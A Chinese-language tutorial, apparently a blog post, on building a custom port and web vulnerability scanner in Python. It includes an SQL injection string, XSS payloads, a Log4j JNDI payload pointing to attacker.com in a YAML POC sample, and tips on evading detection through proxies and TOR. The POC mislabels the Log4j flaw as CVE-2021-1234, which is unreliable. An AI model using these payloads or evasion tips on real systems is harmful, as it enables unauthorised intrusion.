打造一款适合自己的扫描工具 - 技术文档

1. 扫描工具的核心需求分析

• 目标定位：明确扫描工具用途（如Web漏洞扫描、端口扫描、资产发现等）。
• 功能需求：
  • 基础功能：端口扫描（TCP/UDP）、服务识别、漏洞检测（如SQL注入、XSS）。
  • 高级功能：自动化爬虫、指纹识别（CMS/框架）、自定义POC验证。
• 性能要求：并发线程控制、超时机制、资源占用优化。

2. 技术选型

• 编程语言：
  • Python（推荐）：requests、socket、Scapy、BeautifulSoup库。
  • Go：高并发优势，适合高性能扫描器（如nmap替代方案）。
• 关键库/工具：
  • 网络请求：requests（HTTP）、aiohttp（异步）。
  • 端口扫描：socket（基础）、python-nmap（封装nmap）。
  • 漏洞检测：sqlmap API集成、自定义正则匹配规则。

3. 核心模块实现

3.1 端口扫描模块

• TCP Connect扫描：

  import socket
  def tcp_scan(ip, port):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.settimeout(1)
      result = sock.connect_ex((ip, port))
      sock.close()
      return result == 0
  

• 异步扫描：使用asyncio提高效率。

3.2 Web爬虫模块

• 递归爬取：处理<a>、<form>标签，过滤重复URL。
• 反爬绕过：随机User-Agent、代理池、请求延迟。

3.3 漏洞检测模块

• SQL注入检测：
  • 基于错误回显：' AND 1=CONVERT(int,@@version)--。
  • 布尔盲注：时间延迟检测。
• XSS检测：

  payloads = ['<script>alert(1)</script>', '">']
  

3.4 指纹识别

• 规则库：
  • HTTP头：Server: nginx/1.18.0。
  • 文件特征：/wp-admin/ → WordPress。
• 工具集成：Wappalyzer数据集或WhatWeb。

4. 优化与扩展

• 并发控制：线程池（ThreadPoolExecutor）或协程（gevent）。
• 结果输出：支持JSON/CSV格式，日志分级（INFO/ERROR）。
• 插件化设计：通过配置文件加载POC（YAML格式示例）：

  - name: "CVE-2021-1234"
    desc: "Apache Log4j RCE"
    request:
      method: "POST"
      path: "/api/login"
      headers: {"User-Agent": "Exploit"}
      data: "${jndi:ldap://attacker.com}"
    match: "response.status_code == 200"
  

5. 安全与合规

• 法律风险：仅授权测试，避免DoS攻击。
• 隐蔽性：扫描速率限制（如100请求/分钟）、TOR代理支持。

6. 实战案例

• 目标：扫描example.com的Web漏洞。
• 步骤：
  1. 端口扫描（80, 443, 8080）。
  2. 爬取所有子页面。
  3. 对表单注入点测试SQLi/XSS。
  4. 生成报告。

7. 推荐工具链

• 现有工具扩展：nmap + Python脚本解析结果。
• 开源参考：Nikto（Web扫描）、Metasploit（漏洞利用）。

8. 注意事项

• 误报处理：人工验证关键漏洞。
• 维护更新：定期同步CVE数据库（如cve-search）。

附：完整代码框架

class Scanner:
    def __init__(self, target):
        self.target = target
        self.results = []

    def scan_ports(self, ports=[80, 443]):
        # 实现端口扫描逻辑
        pass

    def crawl_web(self):
        # 实现爬虫逻辑
        pass

if __name__ == "__main__":
    scanner = Scanner("example.com")
    scanner.scan_ports()
    scanner.crawl_web()

通过以上步骤，可逐步构建一个功能完备的自定义扫描工具。